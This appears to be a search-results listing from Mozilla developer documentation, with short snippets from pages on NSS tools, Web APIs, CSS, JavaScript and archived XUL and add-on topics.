... unlike a plain monitor, a cached monitor is associated with the address of a protected object, and the association is maintained only while the protection is needed.
... this arrangement allows a cached monitor to be associated with another object without preallocating a monitor for all objects.
...And 8 more matches
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
... synopsis vfychain description the verification tool, vfychain, verifies certificate chains.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 8 more matches
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
... synopsis vfychain description the verification tool, vfychain, verifies certificate chains.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 8 more matches
JS_SetBranchCallback
specifies a callback function that is automatically called when a script branches backward during execution, when a function returns, and at the end of the script.
... syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type description cx jscontext * the context to hook.
... cb jsbranchcallback pointer to the callback function.
...And 8 more matches
extIPreferenceBranch
this content covers features introduced in thunderbird 3 the extipreferencebranch interface provides simplified access to preferences.
... the interface has a predefined root preference branch.
... the root branch is set based on the context of the owner.
...And 8 more matches
nsIDOMMozTouchEvent
the nsidommoztouchevent interface describes a raw touch event.
... this provides a mechanism for working with events from touch screens.
... this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen.
...And 8 more matches
BroadcastChannel - Web APIs
the broadcastchannel interface represents a named channel that any browsing context of a given origin can subscribe to.
...messages are broadcasted via a message event fired at all broadcastchannel objects listening to the channel.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/broadcastchannel" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" fon...
...And 8 more matches
KeyboardEvent.charCode - Web APIs
the charcode read-only property of the keyboardevent interface returns the unicode value of a character key pressed during a keypress event.
... syntax var code = event.charcode; return value a number that represents the unicode value of the character key that was pressed.
... example html <p>type anything into the input box below to log a <code>charcode</code>.</p> <input type="text" /> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.queryselector('#log'); input.addeventlistener('keypress', function(e) { log.innertext = `key pressed: ${string.fromcharcode(e.charcode)}\ncharcode: ${e.charcode}`; }); result notes in a keypress event, the unicode value of the key pressed is stored in either the keycode or charcode property, but never both.
...And 8 more matches
PaymentRequest.onshippingaddresschange - Web APIs
the onshippingaddresschange event of the paymentrequest interface is fired whenever the user changes their shipping address, including when an address is added by the user for the first time.
... syntax paymentrequest.addeventlistener('shippingaddresschange', shippingaddresschangeevent => { ...
... }); paymentrequest.onshippingaddresschange = function(shippingaddresschangeevent) { ...
...And 8 more matches
PaymentRequest.onshippingoptionchange - Web APIs
the onshippingoptionchange event of the paymentrequest interface is fired whenever the user changes a shipping option.
... syntax paymentrequest.addeventlistener('shippingoptionchange', shippingoptionchangeevent => { ...
... }); paymentrequest.onshippingoptionchange = function(shippingoptionchangeevent) { ...
...And 8 more matches
Touch.pageX - Web APIs
WebAPITouchpageX
the touch.pagex read-only property returns the x coordinate of the touch point relative to the viewport, including any scroll offset.
... syntax touchitem.pagex; return value a long representing the x coordinate of the touch point relative to the viewport, including any scroll offset.
... example this example illustrates how to access the touch object's touch.pagex and touch.pagey properties.
...And 8 more matches
Touch.pageY - Web APIs
WebAPITouchpageY
the touch.pagey read-only property returns the y coordinate of the touch point relative to the viewport, including any scroll offset.
... syntax touchitem.pagey; return value a long value that representes the y coordinate of the touch point relative to the viewport, including any scroll offset.
... example this example illustrates how to access the touch object's touch.pagex and touch.pagey properties.
...And 8 more matches
Touch.screenX - Web APIs
WebAPITouchscreenX
summary returns the x coordinate of the touch point relative to the screen, not including any scroll offset.
... syntax var x = touchitem.screenx; return value x the x coordinate of the touch point relative to the screen, not including any scroll offset.
... example this example illustrates how to access the touch object's touch.screenx and touch.screeny properties.
...And 8 more matches
ValidityState.patternMismatch - Web APIs
the read-only patternmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's pattern attribute.
... if the field supports the pattern attribute -- which means the <input> is of type text, tel, email, url, password, or search -- and the pattern value is set to a valid regular expression, if the value don't doesn't conform to the constraints set by the pattern value, the patternmismatch property will be true.
...-label="3-digit prefix" size="2"/> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/> </label> </p> here we have 3 sections for a north american phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the pattern attribute set on each.
...And 8 more matches
font-stretch - CSS: Cascading Style Sheets
the font-stretch css descriptor allows authors to specify a normal, condensed, or expanded face for the fonts specified in the @font-face rule.
... for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-stretch descriptor to explicitly specify the font face's stretch.
... syntax /* single values */ font-stretch: ultra-condensed; font-stretch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* multiple values */ font-stretch: 75% 125%; font-stretch: condensed ultra-condensed;; the font-weight property is described using any one of the values listed below.
...And 8 more matches
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascript adds interactivity to a webpage and creates rich web applications.
... among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object.
... a prototype-based inheritance mechanism built-in objects and functions (json, math, array.prototype methods, object introspection methods, etc.) strict mode browser support as of october 2016, the current versions of the major web browsers implement ecmascript 5.1 and ecmascript 2015, but older versions (still in use) implement ecmascript 5 only.
...And 8 more matches
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
the javascript exception "right-hand side of 'in' should be an object" occurs when the in operator was used to search in strings, or in numbers, or other primitive types.
... it can only be used to check if a property is in an object.
... message typeerror: invalid operand to 'in' (edge) typeerror: right-hand side of 'in' should be an object, got 'x' (firefox) typeerror: cannot use 'in' operator to search for 'x' in 'y' (firefox, chrome) error type typeerror what went wrong?
...And 8 more matches
TypedArray.prototype.forEach() - JavaScript
the foreach() method executes a provided function once per array element.
... this method has the same algorithm as array.prototype.foreach().
... syntax typedarray.foreach(callback[, thisarg]) parameters callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
...And 8 more matches
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.
...it also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content.
... references images image file type and format guide covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.
...And 8 more matches
url - Archive of obsolete content
any api in the sdk which has a url parameter will accept url objects, not raw strings, unless otherwise noted.
...this function will automatically attempt to resolve non-file protocols, such as the resource: protocol, to their place on the file system.
... isvaliduri(uri) checks the validity of a uri.
...And 7 more matches
core/heritage - Archive of obsolete content
reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate.
...this is too much machinery exposed.
...this.bark() : ''; }; since sdk apis may be interacting with untrusted code an extra security measures are required to guarantee that documented behavior can't be changed at runtime.
...And 7 more matches
Getting started (cfx) - Archive of obsolete content
have fun!" implementing the add-on now you can write the add-on's code, which goes in the "main.js" file in your "lib" directory.
...when firefox launches, in the top-right corner of the browser you'll see an icon with the firefox logo.
...it uses two sdk modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enables you to perform basic operations with tabs.
...And 7 more matches
Developing for Firefox Mobile - Archive of obsolete content
this tutorial explains how to run sdk add-ons on an android device connected via usb to your development machine.
... it's possible to use the android emulator to develop add-ons for android without access to a device, but it's slow, so for the time being it's much easier to use the technique described below.
... enable usb debugging on the device (step 2 of this link only) on the development machine: install version 1.5 or higher of the add-on sdk install the correct version of the android sdk for your device using the android sdk, install the android platform tools next, attach the device to the development machine via usb.
...And 7 more matches
Finding window handles - Archive of obsolete content
typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd.
...nt window handle hwnd hcontent = 0; // first we need to find the main browser window hwnd hff = ::findwindowex(0, 0, "mozillauiwindowclass", 0); if (hff) { // next we step down through a fixed structure hwnd htemp; htemp = ::findwindowex(hff, 0, "mozillawindowclass", 0); htemp = ::findwindowex(htemp, 0, "mozillawindowclass", 0); // assume only 1 window at this level has children // and the 1 with children is the one we want hwnd hchild = ::getwindow(htemp, gw_child); while (htemp && !hchild) { htemp = ::getwindow(htemp, gw_hwndnext); hchild = ::getwindow(htemp, gw_child); } // did we find a window with children?
... // that child is hopefully the content window if (htemp) { htemp = ::getwindow(htemp, gw_child); hcontent = ::findwindowex(htemp, 0, "mozillacontentwindowclass", 0); } } // at this point hcontent is null or the content window hwnd i am not sure how "fragile" the assumptions are about the window structure, but it matched the values i got from spy++.
...And 7 more matches
JavaScript timers - Archive of obsolete content
a block of javascript code is generally executed synchronously.
... but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() setimmediate() requestanimationframe() the settimeout() function is commonly used if you wish to have your function called once after the specified delay.
... the setinterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.
...And 7 more matches
Windows - Archive of obsolete content
however, window.open() returns a window object for content, not for the browser window itself, so you should get the chrome window first.
...the following code does not care which element is clicked on, simply responding to all mousedown events equally.
... you could improve this code by checking the event.target element and only setting the startpos if the element matches some criteria.
...And 7 more matches
Communication between HTML and your extension - Archive of obsolete content
the onreadystatechange was set to another little javascript function that would update a specific element on the html page with the result.
...there were only a handful of events that seemed relevant (load, change, dominsertnode, dominsertnodeintodocument, domactivate) and i tried them all in many different ways.
... some of the events only apply to certain types of elements so i included trying to modify the result of the ajax request to be of the appropriate element type (img, which supports "onload," rather than span, which doesn't, for example).
...And 7 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior.
... on the other hand, the html 4.01 definition of the title attribute states: title = text cs this attribute offers advisory information about the element for which it is set.
... unlike the title element, which provides information about an entire document and may only appear once, the title attribute may annotate any number of elements.
...And 7 more matches
Source Navigator - Archive of obsolete content
(quoted from the internet) source-navigator is a source code analysis tool which lets users to edit, browse and build their projects.
...let me know if this is wrong..) it can generate a class hierarchy quite easily (unfortunately, not for classnames which are defined by macro.) installing source navigator in ubuntu execute the following line in a terminal window: sudo apt-get install sourcenav this should install source-navigator.
... one can check whether the installation is complete by executing: $ which snavigator /usr/bin/snavigator importing the source execute the following: snavigator.
...And 7 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
this is preliminary documentation of the changes introduced to mozilla as part of the bidi support contributed by ibm (a.k.a.
...the implementation is based on ibm's international components for unicode (icu), which was chosen after comparing and testing the available open-source implementations.
... as far as we could discover, icu is the only one which is 100% compatible with uba, including support for explicit directional controls (lro, rlo, etc, and their html equivalents).
...And 7 more matches
Porting NSPR to Unix Platforms - Archive of obsolete content
therefore i write this article to document the more mechanical part of the unix porting task.
...nspr has a user-level threading library where thread context switches are done by <tt>setjmp/longjmp</tt> or <tt>sigsetjmp/siglongjmp</tt>.
...pthreads nspr has relatively orthogonal source code in the thread management, thread synchronization, and i/o area.
...And 7 more matches
Merging TraceMonkey Repo - Archive of obsolete content
between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes around half a day.
...checkout repos.
...for each unresolved file (with a u next to it), open the file and find the conflict markers that look like <<<<<<.
...And 7 more matches
Actionscript Performance Tests - Archive of obsolete content
by default the time for each test is output.
... by default each test is run a single time.
... to run each test multiple times use the --iterations flag.
...And 7 more matches
Running Tamarin acceptance tests - Archive of obsolete content
the tamarin acceptance tests can be used to verify your installation and or local changes that you have made to the source.
...reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtocommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ...
...notes on using acceptance runtests.py threading in order to speed up the execution time of the acceptance testsuite, the runtests script automatically detects the number of cores on the machine and sets an equivalent number of threads.
...And 7 more matches
Tamarin Build System Documentation - Archive of obsolete content
when all of the slave machines are free they all start the first build phase simultaneously.
...the smoke phase runs a set of tests on each platform until 2 minute is exceeded.
... the idea is to catch test failures in a few minutes rather than running the complete test run (1h 45m).
...And 7 more matches
Venkman Internals - Archive of obsolete content
these notes are written by such readers: as you learn please correct any errors.
... venkman asks the js engine which lines are executable.
...you can still set breakpoints, but they will be future breakpoints, which will be "real" breakpoints when/if the file is loaded (note that this may never happen!).
...And 7 more matches
treecol.type - Archive of obsolete content
checkbox the content of the columns are checkboxes.
... if you are using type="checkbox", then the tree and each treecol must be editable.
... you need to apply css to make the checkbox toggle.
...And 7 more matches
Working With Directories - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...each call to nsifile.append() navigates to a further subdirectory.
...And 7 more matches
openPopup - Archive of obsolete content
« xul reference home openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location.
... anchor the popup may be either anchored to another node or opened freely.
... to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored.
...And 7 more matches
Tooltips - Archive of obsolete content
for this, the tooltiptext attribute may be used, which is valid for all xul elements.
...this could also be useful if the toolbar is configured such that labels do not appear.
... the tooltip element tooltips are displayed using a tooltip element, which is a type of popup, but is styled to look different.
...And 7 more matches
Bindings - Archive of obsolete content
<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
...for the second photo, the datasource doesn't have any matches for the description, so that potential result will be removed.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above', ?description = 'view from the top of the tower looking east of the doges palace') thus, only one match exists, so only one set of content is generated.
...And 7 more matches
Accesskey display rules - Archive of obsolete content
each controls of xul can have an accesskey which is specified by accesskey attribute or accesskey property (see accesskey attribute document for the detail).
...basic accesskey display rules on non-mac platforms, a character which is same as its accesskey is underlined.
... if a label has two or more characters which are same as its accesskey, the first character of them will be underlined.
...And 7 more matches
Numeric Controls - Archive of obsolete content
other characters are not allowed and are just ignored if typed.
...the maximum value defaults to the special value infinity which means that there is no limit.
... other numeric textbox attributes the increment attribute may be used to specify by how much the value changes when the arrows are pressed.
...And 7 more matches
Scroll Bars - Archive of obsolete content
some elements, such as text boxes, will also add scroll bars as necessary when the content inside is too large.
...a scroll bar is made up of several parts: the slider, which is the main part of the scroll bar with the adjustable box, and the two arrow buttons on the end.
...the default is horizontal, which creates a scroll bar that extends from left to right.
...And 7 more matches
XBL Attribute Inheritance - Archive of obsolete content
for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <content> <xul:textbox/> <xul:button label="search"/> </content> </binding> in the example, the label attribute has been placed directly on the button element.
...in this case, it would be preferable if the attribute could be specified on the searchbox instead.
... xbl provides an inherits attribute which can be used to inherit attributes from the bound element.
...And 7 more matches
XUL Template Primer - Bindings - Archive of obsolete content
this is different from the variables specified in the rule's conditions, where a value must be found for each variable for the rule to match.
... if a <binding> can't be matched, the rule will still fire.
... example to illustrate how <bindings> work, we'll examine this xul document, which builds a simple content model an rdf/xml file.
...And 7 more matches
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the contents of the box.
...roll, tabindex methods ensureelementisvisible, scrollbyindex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth...
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 7 more matches
dialog - Archive of obsolete content
the buttons attribute may be used to set which buttons should appear in the dialog box.
...n, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/>...
...the following values can be used in the list: accept: the ok button, which will accept the changes when pressed.
...And 7 more matches
editor - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a frame which is expected to contain an editable document.
... to access most of the functionality of the editor, your application must be part of an extension or part of the chrome.
... see the rich text editing and midas pages for more information about gecko's built-in rich text editor.
...And 7 more matches
preferences - Archive of obsolete content
it's supposed to be a child of <prefpane> element.
... note: it's not clear which of the following methods and properties are public.
... attribute nsiprefbranch rootbranch; the root prefs branch.
...And 7 more matches
Security Controls - Archive of obsolete content
for example, if a system has a known vulnerability that attackers could exploit, the system should be patched so that the vulnerability is removed or mitigated.
... second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary.
...limiting functionality and resolving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system.
...And 7 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
the tamarin codebase has the ability to build additional code which supports debugging hooks.
...tamarin buildbot tryserver the tryserver/sandbox is setup to allow users to push any code changes that they would like to have tested in the automated build/test process prior to actually pushing the changes.
... the sandbox is setup so that it is able to build and test branches that are based on either tamarin-central or tamarin-tracing.
...And 7 more matches
E4X for templating - Archive of obsolete content
it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18.
...while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
... createbundle('chrome://myeext/locale/myext.properties'); if (args){ args = array.prototype.slice.call(arguments, 1); return strs.formatstringfromname(msg,args,args.length); } return strs.getstringfromname(msg); } for example, <toolbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition ...
...And 7 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 4.0 to 4.5.
... the old netscape documentation can be found on archive.org.
... the most significant change in javascript 1.3 was compliance with ecma-262 and unicode by removing inconsistencies between javascript 1.2 and the new ecma standard (which was published in june 1997).
...And 7 more matches
Building Mozilla XForms - Archive of obsolete content
getting started things to know first: the xforms extension has a dependency on the schema-validation extension, so you need to build both (that's done automatically) mozilla switched from cvs to mercurial starting with firefox 3.5.
...since the switch to mercurial, the extensions live in separate repositories.
... before you can start building the xforms extension, you should check your mozilla build environment by doing a regular firefox build.
...And 7 more matches
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
... this article explains more about this, and shows you how to use libraries to implement data channels in your game.
... what is a data channel?
...And 7 more matches
Typesetting a community school homepage - Learn web development
previous overview: styling text in this assessment we'll test your understanding of all the text styling techniques we've covered throughout this module by getting you to style the text for a community school's homepage.
... objective: to test comprehension of css text styling techniques.
... alternatively, you could use a site like jsbin or glitch to do your assessment.
...And 7 more matches
Benchmarking
debug builds debug builds (--enable-debug) and non-optimized builds (--disable-optimize) are much slower.
... any performance metrics gathered by such builds are largely unrelated to what would be found in a release browser.
... rust optimization level local optimized builds are compiled with rust optimization level 1 by default, unlike nightly builds, which use rust optimization level 2.
...And 7 more matches
Creating a spell check dictionary add-on
this page describes how to package a hunspell spell check dictionary as a firefox add-on, or how to update your existing add-on, so that it can be installed, uninstalled and updated without a restart.
... parts needed to create a dictionary add-on, you first need two things: a spell check dictionary in hunspell or myspell format, with a license which allows you to use it.
... such a dictionary consists of two files, one with a .dic and one with an .aff file extension.
...And 7 more matches
PR_AttachThread
syntax #include <pprthread.h> prthread* pr_attachthread( prthreadtype type, prthreadpriority priority, prthreadstack *stack); parameters pr_attachthread has the following parameters: type specifies that the thread is either a user thread (pr_user_thread) or a system thread (pr_system_thread).
... priority the priority to assign to the thread being attached.
... stack the stack for the thread being attached.
...And 7 more matches
nss tech note3
all about certificate extensions nss technical note: 3 09 may 2002 nelson b.
... this message attempts to answer that question, and to document nss's approach to validating certificates for certain purposes.
... when nss is asked to verify the validity of a certificate chain, it verifies the validity of that cert chain for a particular purpose, known as a seccertusage, as of a specific date and time.
...And 7 more matches
nss tech note4
pulling certificate extension information out of ssl certificates nss technical note: 4 note: this document contains code snippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done.
... *fd); if ssl client, this will get you the client cert's handle, if client auth happened if ssl server, this will get you the server's cert handle don't forget to clean up the cert handle when you're done with it void cert_destroycertificate(certcertificate *cert); some info is readily available cert->subjectname (char*) cert->issuername (char*) cert->emailaddr (char*) or char *cert_getcertificateemailaddress(certcertificate *cert); cert->keyusage (unsigned int) to break the issuer and subject names into components pass &(cert->issuer) or &(cert->subject) to the following functions char *cert_getcommonname(certname *name); char *cert_getc...
...ertemailaddress(certname *name); char *cert_getcountryname(certname *name); char *cert_getlocalityname(certname *name); char *cert_getstatename(certname *name); char *cert_getorgname(certname *name); char *cert_getorgunitname(certname *name); char *cert_getdomaincomponentname(certname *name); char *cert_getcertuid(certname *name); example code to illustrate access to the info is given below.
...And 7 more matches
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscriptable this interface allows you to add multiple visits to a single url in a batch.
... 1.0 66 introduced gecko 24.0 inherits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocallback acallback); void isurivisited(in nsiuri auri, in mozivisitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocallback acallback); methods getplacesinfo() starts an asynchronous request to determine whether or not a given uri has been visited; you must implement a callback t...
...void getplacesinfo( in jsval aplaceidentifiers, in mozivisitinfocallback acallback ); parameters aplaceidentifiers the uri for which to determine the visited status.
...And 7 more matches
nsIAutoCompleteSearch
toolkit/components/autocomplete/nsiautocompletesearch.idlscriptable this interface is implemented by search providers to start and stop autocomplete.
... inherits from: nsisupports last changed in gecko 1.7 users call startsearch() and pass in an nsiautocompleteobserver when the search starts.
... results can be sent to the listener either synchronously or asynchronously, depending on the implementation.
...And 7 more matches
Search - Firefox Developer Tools
searching for files to search for a particular file, press control + p (or command + p on a mac) and type the search term.
... the source pane will display a list of all matching files as you type.
... you can use the up and down arrows to move through the list, and return to open the file you want: searching within a file to search for a particular substring in the file currently loaded into the source pane, press control + f (or command + f on a mac) while the source pane is focused.
...And 7 more matches
AudioBuffer.copyToChannel() - Web APIs
the copytochannel() method of the audiobuffer interface copies the samples to the specified channel of the audiobuffer, from the source array.
... syntax myarraybuffer.copytochannel(source, channelnumber, startinchannel); parameters source a float32array that the channel data will be copied from.
... channelnumber the channel number of the current audiobuffer to copy the channel data to.
...And 7 more matches
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
the keys() method of the cachestorage interface returns a promise that will resolve with an array containing strings corresponding to all of the named cache objects tracked by the cachestorage object in the order they were created.
... use this method to iterate over a list of all cache objects.
... you can access cachestorage through the global caches property.
...And 7 more matches
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... channel messaging concepts and usage a message channel is created using the messagechannel() constructor.
... once created, the two ports of the channel can be accessed through the messagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to.
...And 7 more matches
ChildNode - Web APIs
WebAPIChildNode
the childnode mixin contains methods and properties that are common to all types of node objects that can have a parent.
... it's implemented by element, documenttype, and characterdata objects.
... childnode.remove() removes this childnode from the children list of its parent.
...And 7 more matches
FetchEvent.navigationPreload - Web APIs
the navigationpreload read-only property of the fetchevent interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration.
... syntax var promise = fetchevent.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager.
... example the following example shows the implementation of a fetch event that uses a preloaded response.
...And 7 more matches
FetchEvent.request - Web APIs
the request read-only property of the fetchevent interface returns the request that triggered the event handler.
... this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
... example this code snippet is from the service worker fetch sample (run the fetch sample live).
...And 7 more matches
Node.childNodes - Web APIs
WebAPINodechildNodes
the node.childnodes read-only property returns a live nodelist of child nodes of the given element where the first child node is assigned index 0.
... syntax let nodelist = elementnodereference.childnodes; examples simple usage // parg is an object reference to a <p> element // first check that the element has child nodes if (parg.haschildnodes()) { let children = parg.childnodes; for (let i = 0; i < children.length; i++) { // do something with each child as children[i] // note: list is live!
... adding or removing children will change the list's `length` } } remove all children from a node // this is one way to remove all children from a node // box is an object reference to an element while (box.firstchild) { //the list is live so it will re-index each call box.removechild(box.firstchild); } notes the items in the collection of nodes are objects, not strings.
...And 7 more matches
PaymentRequest: merchantvalidation event - Web APIs
merchantvalidation events are delivered by the payment request api to a paymentrequest object when a payment handler requires that the merchant requesting the purchase validate itself as permitted to use the payment handler.
... see merchant validation in payment processing concepts for details on how the merchant validation process works.
... bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event.
...And 7 more matches
SpeechGrammarList - Web APIs
the speechgrammarlist interface of the web speech api represents a list of speechgrammar objects containing words or patterns of words that we want the recognition service to recognize.
... grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
... constructor speechgrammarlist.speechgrammarlist() creates a new speechgrammarlist object.
...And 7 more matches
Touch.target - Web APIs
WebAPITouchtarget
summary returns the element (eventtarget) on which the touch contact started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document.
...if there is any risk of an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target.
... syntax var el = touchpoint.target; return value el the target element of the touch object.
...And 7 more matches
ValidityState.typeMismatch - Web APIs
the read-only typemismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's type attribute.
... if the type attribute expects specific strings, such as the email and url types and the value don't doesn't conform to the constraints set by the type, the typemismatch property will be true.
...if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple attribute is present, there is a typemismatch.
...And 7 more matches
WindowEventHandlers.onhashchange - Web APIs
the windoweventhandlers.onhashchange property of the windoweventhandlers mixin is the eventhandler for processing hashchange events.
... the hashchange event fires when a window's hash changes (see window.location and htmlhyperlinkelementutils.hash).
... syntax using an event handler: window.onhashchange = funcref; using an html event handler: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function.
...And 7 more matches
spellcheck - HTML: Hypertext Markup Language
the spellcheck global attribute is an enumerated attribute defines whether the element may be checked for spelling errors.
